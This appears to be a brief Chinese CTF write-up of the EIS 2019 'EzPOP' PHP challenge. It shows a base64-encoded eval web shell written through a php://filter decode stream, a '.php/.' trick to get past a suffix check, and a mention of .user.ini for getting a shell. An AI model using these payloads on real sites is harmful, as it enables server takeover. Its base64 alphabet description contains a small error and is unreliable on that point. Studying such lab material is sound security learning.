刷題記錄:[EIS 2019]EzPOP
題目復現鏈接:https://buuoj.cn/challenges
知識點
編碼寫shell繞過
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
file_put_contents是支持各種協議的,這樣就可以將base64編碼過的shell傳入$data,使用php://filter/write=convert.base64-decode/resource=寫入文件
base64工作機制
首先base64只包含[a-zA-Z1-9]+/共64個字符

- 編碼時
把明文每8位按6位查表轉碼,不足的位數用=補0 - 解碼時
忽略[",:等64個字符之外的字符,然后逆運算就行

本題中json_encode后的payload是
["11",{"aa":{"path":"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+"}}]
其中11和aa位置是可控的,去掉無效字符后,payload為
11aapath PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+
這里是6位查表轉8位,所以要求編碼為4的倍數
繞過后綴名檢查
紅包題中,增加了判斷條件
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
這里可以在文件名后面加/.,即設置文件名為xxx.php/.
這里我是配合.user.inigetshell的
